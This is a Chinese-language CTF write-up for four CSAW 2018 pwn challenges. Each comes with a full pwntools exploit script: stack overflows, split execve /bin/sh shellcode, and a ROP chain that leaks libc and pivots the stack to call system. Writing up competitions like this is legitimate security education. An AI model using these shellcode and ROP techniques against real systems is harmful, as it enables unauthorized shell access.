csaw2018_pwn_wp

csaw2018_pwn_wp

pwn

get_it

非常简单的直接栈溢出控制返回地址到system函数直接getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = "debug"

local = 0

if local:
p = process("./get_it")
elf = process("./get_it")
else:
p = remote("pwn.chal.csaw.io",9001)
elf = process("./get_it")

p.recvuntil("??\r\n")
payload = "a"*(0x20+8)
payload += p64(0x4005B6)
p.sendline(payload)

p.interactive()

bigboy

直接往下覆盖变量改变变量的值直接绕过判断,溢出缓冲区。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context(os='linux',arch='amd64',aslr = 'False',log_level='debug')
local = 0


if local:
p = process("./boi")#,env={'LD_PRELOAD':'./libc_x64.so.6'})
elf = ELF("./boi")
#libc = ELF('./libc_x64.so.6')
else:
#p = remote('192.168.210.11',11006)
p = remote('pwn.chal.csaw.io',9000)
elf = ELF("./boi")
#libc = ELF('./libc_x64.so.6')

#pause()
p.send("A"*16+p32(0xCAF3BAEE)+p32(0xCAF3BAEE))

p.interactive()

shell->code

这道题是一个分三段写shellcode,第一段是第一个十五字节,第二段是第二个十五字节,第三段是醉胡的写完返回地址还剩下13字节应该是。
然后他们三段在栈上的排列是这样的:
[__第三段___]
[__第二段___]
[__第一段___]
现在蛀牙想办法把他们三个串起来的题目一起执行shellcode,主要是首先第一用add来改变某个寄存器的值,然后jmp到这个寄存器的地址上来串起三个部分;然后第二还有难点就是处理回车和’\x00’的问题,回车主要是把全都写满,回车符写到下一行就不影响了,也就是把第三段连着写多一点把第二段的也写满就没有回车了,就是不用sendline;然后就是精心构造一下的问题了。

详细脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
#context.log_level = "debug"
context(os = 'linux')
local = 1

if local:
p = process("./shellpointcode")
elf = ELF("./shellpointcode")
else:
p = remote("pwn.chal.csaw.io",9005)
elf = ELF("./shellpointcode")

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"


shellcode1 = "\x90"*5+"\x31\xf6" + "\x48\x83\xc4\x28\xff\xe4"
'''22222222222222222222
0: 31 f6 xor esi,esi
0: 48 83 c4 28 add rsp,0x28
4: ff e4 jmp rsp
'''
shellcode2 = "\x56\x53\x54\x5f" + "\xb0\x3b\x31\xd2\x0f\x05\x00"
'''3333333333333333333
0: 56 push rsi
1: 53 push rbx
2: 54 push rsp
3: 5f pop rdi
0: b0 3b mov al,0x3b
2: 31 d2 xor edx,edx
4: 0f 05 syscall
'''
shellcode3 = "\x90\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" + "\x04" #add al,0x0 == '\x04\x00'
''' 11111111111111111111111111
0: 90 nop
1: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
8: 2f 73 68
'''

print len(shellcode1)
print len(shellcode2)
print len(shellcode3)

p.recvuntil("node 1: ")
payload = shellcode2
p.sendline(payload)
p.recvuntil("node 2: ")
payload = shellcode1
pause()
p.sendline(payload)
p.recvuntil("node.next: ")
data = int(p.recvuntil("\n",drop = True),16)
print hex(data)
print hex(data+0x8)
p.recv()

pattern = "a"*0x3 + "b"*0x8
payload = pattern + p64(data)+ shellcode3
#print len(payload)
pause()
p.send(payload)

p.interactive()

turtles

这道题是object-C代码写的题目,但是其实不用完全理解object-C是可以做的,问题就在于那个“call rax”上面,然后我们就是想尽办法控制rax就可以任意地址执行就简单了,如果可以任意地址执行,那就可以控制rbp,然后leave来进行一次栈迁移到堆上来进行rop就可以了,为啥要迁移到堆上呢,因为我们呢可以控制堆上的东西啊,堆上面的地址他是给我们的,燃煤memcpy一堆东西过去堆上这样就好办了嘛。
要想控到rax,就要注意的就是调清楚objc_msg_lookup这个函数,控rax就一切好办了。最坑的就是伪造那个全局变量的值让他通过比较是最坑的,似乎随便一个值都可以。

详细脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
#context.log_level = "debug"
context(os = "linux",arch = "amd64")

local = 0

if local:
p = process("./turtles")
elf = ELF("./turtles")
else:
p = remote("pwn.chal.csaw.io",9003)
elf = ELF("./turtles")

read_plt = elf.plt["read"]
printf_plt = elf.plt["printf"]
#print hex(elf.plt["printf"])
memcpy_got = elf.got["memcpy"]
printf_got = elf.got["printf"]
read_got = elf.got["read"]

p.recvuntil(": ")
data = int(p.recvuntil("\n",drop = True),16)
print hex(data)

main = 0x400B84#0x400A60
pop_rdi = 0x0000000000400d43
pppp_ret = 0x0000000000400d3c
addr = 0x400D36
leave = 0x0000000000400b82
pop_rbp_pp_ret = 0x0000000000400d3f
my_addr = addr

payload = p64(data)+p64(data+0x10)
payload += p64(my_addr)+p64(main)
payload += p64(my_addr)
payload += p64(0xaaa)
payload += p64(0)
payload += p64(data + 0x68) + p64(data) + p64(0)*2
payload += p64(0) + p64(leave)
payload += p64(data) + p64(pop_rdi) + p64(printf_got) + p64(printf_plt)
payload += p64(pop_rbp_pp_ret) + p64(data) + p64(0)*2 + p64(main)
#payload += p64(0x0400C43)

#print hex(len(payload))
#gdb.attach(p)
pause()
p.sendline(payload)
libc_data = u64(p.recvn(6).ljust(8,"\x00"))
print hex(libc_data)
libc_base = libc_data - 0x50cf0#0x14dea0
system = libc_base + 0x41490#0x45390
binsh_addr = libc_base + 0x1633e8#0x18cd57
print "libc_base = " + hex(libc_base)
print "system = " + hex(system)
print "binsh_addr = " + hex(binsh_addr)
p.recvuntil(": ")
data = int(p.recvuntil("\n",drop = True),16)
payload = p64(data)+p64(data+0x10)
payload += p64(my_addr)+p64(main)
payload += p64(my_addr)
payload += p64(0xaaa)
payload += p64(0)
payload += p64(data + 0x68) + p64(data) + p64(0)*2
payload += p64(0) + p64(leave)
payload += p64(data) + p64(pop_rdi) + p64(binsh_addr) + p64(system)

p.sendline(payload)

p.interactive()

关于这个比赛我们战队的其他wp: